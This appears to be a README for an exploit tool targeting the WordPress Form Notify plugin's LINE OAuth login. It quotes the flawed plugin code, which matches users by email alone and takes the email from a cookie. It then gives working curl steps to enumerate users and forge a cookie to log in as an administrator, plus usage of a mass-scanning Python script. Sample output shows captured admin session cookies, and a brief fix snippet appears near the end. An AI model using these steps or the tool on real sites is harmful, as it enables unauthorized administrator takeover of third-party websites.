// src/APIs/Line/Login/Route.php
register_rest_route(
    'form-notify/v1',
    '/callback',
    array(
        'methods'             => 'GET',
        'callback'            => array( $this, 'get_api_callback' ),
        'permission_callback' => function () {
            return true;  // 无需身份验证
        },
    )
);

// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email     = $has_real_email ? $user->email : $user_raw_id . '@line.com';

// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
    $this->user = get_user_by( 'email', $user_email );  // 仅通过邮箱搜索
    if ( ! is_wp_error( $this->user ) && $this->user ) {
        return true;  // 无关联性检查
    }
    return false;
}

// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
    if ( ! is_user_logged_in() ) {
        wp_clear_auth_cookie();
        wp_set_current_user( $this->user->ID );
        wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
    }
}

// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
    $line_email = sanitize_text_field(
        wp_unslash( $_COOKIE['form_notify_line_email'] )
    );
}
$user_email = ( $user->email ) ? $user->email : $line_email;

$session_state = get_transient( 'form_notify_line_state_' . $state );

if ( empty( $session_state ) ) {
    // 如果 Transient 不存在，则回退到 $_SESSION
    $session_state = sanitize_text_field(
        wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
    );
    set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}

// sign_up() 方法
$userdata = array(
    'user_pass' => $user_email,  // 密码 = 邮箱地址
    ...
);

TARGET="https://target.com"

# 从 WordPress REST API 获取用户列表
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool

# 或通过作者页面
curl -s "$TARGET/?author=1" -I | grep Location

document.cookie = "[email protected]; path=/";

curl -v -b '[email protected]' \
  "$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location

curl -s -b 'wordpress_logged_in_XXXX=...' \
  "$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool

{
  "id": 1,
  "name": "admin",
  "email": "[email protected]",
  "roles": ["administrator"]
}

https://target.com/wp-json/form-notify/v1/login

Plugin: is_member('[email protected]')
     → get_user_by('email', '[email protected]')
     → 找到 Administrator
     → wp_set_auth_cookie(1)
     → 登录成功 ✓

git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt

requests

python form_notify_rce.py -u http://hedef.com

python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path A

python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path B

python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path both

python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt

python form_notify_rce.py -u http://hedef.com \
  --proxy http://127.0.0.1:8080

[*] 3 个目标 | Form Notify LINE OAuth Bypass | threads=10

[★ AUTH OK   ] http://hedef1.com  (Path A)
  目标邮箱 : [email protected]
  版本       : 1.1.08
  OAuth URL   : https://access.line.me/oauth2/v2.1/authorize?...
  用户       : admin <[email protected]> roles=['administrator']
  Cookie      : {'wordpress_logged_in_abc123': 'admin|...'}

[~ MANUAL    ] http://hedef2.com  (Path A — 手动完成)
  目标邮箱 : [email protected]
  Cookie 设置 : [email protected]
  OAuth URL   : https://access.line.me/oauth2/v2.1/authorize?...
  State       : a1b2c3d4e5f6

[- NO_LINE   ] http://hedef3.com  (LINE Login 未激活)

──────────────────────────────────────────────────────────────
  已完成                     :    2
  NO_LINE                    :    1
──────────────────────────────────────────────────────────────
  Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────

// 不安全 (当前)
$user = get_user_by( 'email', $line_email );

// 安全 (推荐)
$users = get_users( array(
    'meta_key'   => 'line_user_id',
    'meta_value' => $line_user_id,  // 使用 LINE ID 匹配
) );

form-notify-bypass/
├── form_notify_rce.py   # 主扫描器
├── requirements.txt     # 依赖项
└── README.md            # 本文件